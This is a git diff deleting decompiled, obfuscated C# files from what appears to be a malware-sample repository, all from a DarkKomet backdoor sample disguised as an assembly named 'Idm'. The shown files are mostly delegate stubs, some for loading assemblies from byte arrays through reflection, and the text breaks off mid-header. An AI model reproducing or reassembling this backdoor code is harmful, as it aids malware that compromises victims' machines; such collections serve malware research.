a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090/_008F.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090/_008F.cs deleted file mode 100644 index cc32a0a0..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090/_008F.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0008; -using \u007F\u0004; -using System; - -namespace \u0090 -{ - internal class \u008F - { - public static void \u0005\u0002() - { - try - { - try - { - \u00082.\u0006\u0002(); - } - catch (Exception ex) - { - } - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - - public \u008F() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090_0002.cs deleted file mode 100644 index 1e4efd50..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string[] \u0090\u0002([In] object obj0, [In] char[] obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090_0003.cs deleted file mode 100644 index 0b628e99..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate AssemblyName \u0090\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090_0004.cs deleted file mode 100644 index 241dc339..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0090_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0090\u0004([In] string obj0, [In] string[] obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0091_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0091_0002.cs deleted file mode 100644 index 8d69aa00..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0091_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‘ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0091\u0002([In] object obj0, [In] int obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0091_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0091_0003.cs deleted file mode 100644 index 7abd38c0..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0091_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‘ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Type \u0091\u0003([In] object obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0091_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0091_0004.cs deleted file mode 100644 index a5430ea1..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0091_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‘ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using Microsoft.VisualBasic; -using System.Runtime.InteropServices; - -internal delegate string[] \u0091\u0004([In] string obj0, [In] string obj1, [In] int obj2, [In] CompareMethod obj3); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0002.cs deleted file mode 100644 index aac3e711..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0092\u0002([In] object obj0, [In] int obj1, [In] int obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0003.cs deleted file mode 100644 index 841e76eb..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Type[] \u0092\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0004.cs deleted file mode 100644 index eda560e7..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0092\u0004([In] EventHandler obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0004/_0006_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0004/_0006_0002.cs deleted file mode 100644 index 5551a3c0..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0004/_0006_0002.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’. -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; -using System.Xml; - -namespace \u0092\u0004 -{ - internal class \u0006\u0002 : IDisposable - { - private readonly XmlWriter \u0001; - - public \u0006\u0002([In] XmlWriter obj0, [In] string obj1) - { - this.\u0001 = obj0; - \u001B\u0002.\u007E\u0014((object) this.\u0001, obj1); - } - - public void Dispose() => this.\u0001.WriteEndElement(); - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0004/_001E_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0004/_001E_0004.cs deleted file mode 100644 index 3ecebdb2..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0092_0004/_001E_0004.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’. -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0092\u0004; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0092\u0004 -{ - [CompilerGenerated] - internal class \u001E\u0004 - { - internal static \u001E\u0004.\u0008 \u0001; - internal static \u001E\u0004.\u0006\u0002 \u0002; - - [StructLayout(LayoutKind.Explicit, Size = 124, Pack = 1)] - private struct \u0008 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0006\u0002 - { - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0093_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0093_0002.cs deleted file mode 100644 index 14d2857e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0093_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: “ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u0093\u0002([In] object obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0093_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0093_0003.cs deleted file mode 100644 index 690ad6a1..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0093_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: “ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.IO; -using System.Runtime.InteropServices; - -internal delegate Stream \u0093\u0003([In] object obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0093_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0093_0004.cs deleted file mode 100644 index 8e3f7840..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0093_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: “ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; -using System.Threading; - -internal delegate void \u0093\u0004([In] ThreadExceptionEventHandler obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0094_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0094_0002.cs deleted file mode 100644 index 6516c811..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0094_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ” -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0094\u0002([In] object obj0, [In] char obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0094_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0094_0003.cs deleted file mode 100644 index e71aa91b..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0094_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ” -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Assembly \u0094\u0003([In] string obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0094_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0094_0004.cs deleted file mode 100644 index 67df95cf..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0094_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ” -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0094\u0004([In] bool obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0095_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0095_0002.cs deleted file mode 100644 index bf4daf38..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0095_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: • -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate int \u0095\u0002([In] object obj0, [In] string obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0095_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0095_0003.cs deleted file mode 100644 index 1689c0ba..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0095_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: • -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Assembly \u0095\u0003([In] byte[] obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0095_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0095_0004.cs deleted file mode 100644 index 7faf1016..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0095_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: • -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u0095\u0004([In] object obj0, [In] SizeF obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0002.cs deleted file mode 100644 index 90b3e54a..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: – -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0096\u0002([In] object obj0, [In] string obj1, [In] string obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0003.cs deleted file mode 100644 index d44c0833..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: – -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Module[] \u0096\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0004.cs deleted file mode 100644 index 80a3e70e..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: – -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0096\u0004([In] object obj0, [In] AutoScaleMode obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0004/_0095_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0004/_0095_0004.cs deleted file mode 100644 index 3dd8a913..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_0096_0004/_0095_0004.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: –.• -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: 